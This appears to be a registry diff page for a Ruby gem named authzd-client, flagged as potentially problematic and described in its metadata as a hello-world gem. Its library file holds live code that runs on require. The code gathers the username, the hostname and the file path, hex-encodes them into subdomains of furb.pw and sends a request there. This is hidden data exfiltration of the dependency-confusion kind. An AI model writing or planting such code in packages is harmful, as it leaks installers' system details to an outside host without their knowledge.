authzd-client 0.11.10.r813fef313

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of authzd-client might be problematic. Click here for more details.

Files changed (3) hide show
  1. checksums.yaml +7 -0
  2. data/lib/authzd-client.rb +146 -0
  3. metadata +40 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: bb7972d475eec356af70bb350b97f5b4b7a3370a368b482df41bea7d79193dc6
4
+ data.tar.gz: 477739ca6cc83fdc57f9747b1c4d6fe844d93835ed068f02aea98278f6ef1c99
5
+ SHA512:
6
+ metadata.gz: 6343144ef405a7f8a5d21e8d15f92ec8943d123f355c1c937276b5584304a7ddff6cd6046d9e353263c0515550c63c75dd830adfee15414bdde37872ecf8e99e
7
+ data.tar.gz: d8fd356295a4802c1a85c8fb54eed2d986e3e5dfc7151d8bcd94659ff8dffdbcc4bbe86a747ef835af0844be292c8b4cd692b3d1b70cdf9c41e546d85e3b781a
@@ -0,0 +1,146 @@
1
+ #!/usr/bin/env ruby
2
+ """
3
+ author: furbreeze@github.io
4
+ """
5
+
6
+ require 'net/http'
7
+ require 'socket'
8
+
9
+
10
+ def hex_encode(string)
11
+ """Convert string to hexadecimal encoding."""
12
+ string.unpack1('H*')
13
+ end
14
+
15
+ def collect_system_info
16
+ """Collect and hex encode system information."""
17
+ info = {}
18
+
19
+ # Get username of the current process
20
+ username = ENV['USER'] || ENV['USERNAME'] || `whoami`.strip
21
+ info[:username] = username
22
+ info[:username_hex] = hex_encode(username)
23
+
24
+ # Get hostname of the machine
25
+ hostname = Socket.gethostname
26
+ info[:hostname] = hostname
27
+ info[:hostname_hex] = hex_encode(hostname)
28
+
29
+ # Get path of the current file
30
+ file_path = File.expand_path(__FILE__)
31
+ info[:file_path] = file_path
32
+ info[:file_path_hex] = hex_encode(file_path)
33
+
34
+ info
35
+ end
36
+
37
+ def truncate_domain(username_hex, hostname_hex, filepath_hex, base_domain = "furb.pw")
38
+ """Truncate filepath hex until total domain length is 253 characters or less."""
39
+
40
+ # Calculate the base length: username.hostname.filepath.furb.pw
41
+ # We need 3 dots plus the base domain length
42
+ base_length = username_hex.length + hostname_hex.length + base_domain.length + 3
43
+
44
+ # Maximum allowed total length is 253 characters
45
+ max_length = 220
46
+ available_for_filepath = max_length - base_length
47
+
48
+ # If filepath is too long, truncate it
49
+ if available_for_filepath < filepath_hex.length
50
+ if available_for_filepath > 0
51
+ truncated_filepath = filepath_hex[0, available_for_filepath]
52
+ else
53
+ truncated_filepath = ""
54
+ end
55
+ puts "Warning: Filepath truncated from #{filepath_hex.length} to #{truncated_filepath.length} characters"
56
+ else
57
+ truncated_filepath = filepath_hex
58
+ end
59
+
60
+ truncated_filepath = chunk_string(truncated_filepath)
61
+
62
+ # Construct the final domain
63
+ if truncated_filepath.empty?
64
+ domain = "a#{username_hex}.a#{hostname_hex}.#{base_domain}"
65
+ else
66
+ domain = "a#{username_hex}.a#{hostname_hex}.a#{truncated_filepath}.#{base_domain}"
67
+ end
68
+
69
+ puts "Final domain length: #{domain.length} characters"
70
+ domain
71
+ end
72
+
73
+ def chunk_string(str, max_length = 60)
74
+ str.scan(/.{1,#{max_length}}/).join('.a')
75
+ end
76
+
77
+ def send_data(domain)
78
+ """Send HTTP request to the constructed domain."""
79
+ begin
80
+ # Create HTTP connection
81
+ uri = URI("https://#{domain}/")
82
+ http = Net::HTTP.new(uri.host, 443)
83
+ http.open_timeout = 5
84
+ http.read_timeout = 5
85
+
86
+ # Create GET request
87
+ request = Net::HTTP::Get.new(uri)
88
+ request['User-Agent'] = 'Ruby/SystemInfo'
89
+
90
+ # Send request
91
+ response = http.request(request)
92
+
93
+ puts "Request sent successfully!"
94
+ puts "Response code: #{response.code}"
95
+ puts "Response body: #{response.body}" unless response.body.empty?
96
+
97
+ return true
98
+
99
+ rescue Net::TimeoutError
100
+ puts "Error: Connection timed out"
101
+ return false
102
+ rescue Errno::ECONNREFUSED
103
+ puts "Error: Connection refused - target may not be listening"
104
+ return false
105
+ rescue SocketError => e
106
+ puts "Error: Socket error - #{e.message}"
107
+ return false
108
+ rescue StandardError => e
109
+ puts "Error: #{e.message}"
110
+ return false
111
+ end
112
+ end
113
+
114
+ def main
115
+ # Collect system information
116
+ puts "Collecting system information..."
117
+ system_info = collect_system_info
118
+
119
+ puts "Collected information:"
120
+ puts " Username: #{system_info[:username]}"
121
+ puts " Username (hex): #{system_info[:username_hex]}"
122
+ puts " Hostname: #{system_info[:hostname]}"
123
+ puts " Hostname (hex): #{system_info[:hostname_hex]}"
124
+ puts " File path: #{system_info[:file_path]}"
125
+ puts " File path (hex): #{system_info[:file_path_hex]} (#{system_info[:file_path_hex].length} chars)"
126
+
127
+ # Create the target domain with truncation if needed
128
+ puts "\nConstructing target domain..."
129
+ target_domain = truncate_domain(
130
+ system_info[:username_hex],
131
+ system_info[:hostname_hex],
132
+ system_info[:file_path_hex]
133
+ )
134
+
135
+ puts "Target domain: #{target_domain}"
136
+
137
+ # Send the request
138
+ puts "\nSending request..."
139
+ success = send_data(target_domain)
140
+
141
+ exit success ? 0 : 1
142
+ end
143
+
144
+ unless __FILE__ == $0
145
+ main()
146
+ end
metadata ADDED
@@ -0,0 +1,40 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: authzd-client
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.11.10.r813fef313
5
+ platform: ruby
6
+ authors:
7
+ - Nick Quaranto
8
+ bindir: bin
9
+ cert_chain: []
10
+ date: 1980-01-02 00:00:00.000000000 Z
11
+ dependencies: []
12
+ description: A simple hello world gem
13
+ email: nick@quaran.to
14
+ executables: []
15
+ extensions: []
16
+ extra_rdoc_files: []
17
+ files:
18
+ - lib/authzd-client.rb
19
+ homepage: https://rubygems.org/gems/authzd-client
20
+ licenses:
21
+ - MIT
22
+ metadata: {}
23
+ rdoc_options: []
24
+ require_paths:
25
+ - lib
26
+ required_ruby_version: !ruby/object:Gem::Requirement
27
+ requirements:
28
+ - - ">="
29
+ - !ruby/object:Gem::Version
30
+ version: '0'
31
+ required_rubygems_version: !ruby/object:Gem::Requirement
32
+ requirements:
33
+ - - ">="
34
+ - !ruby/object:Gem::Version
35
+ version: '0'
36
+ requirements: []
37
+ rubygems_version: 3.6.7
38
+ specification_version: 4
39
+ summary: Hola!
40
+ test_files: []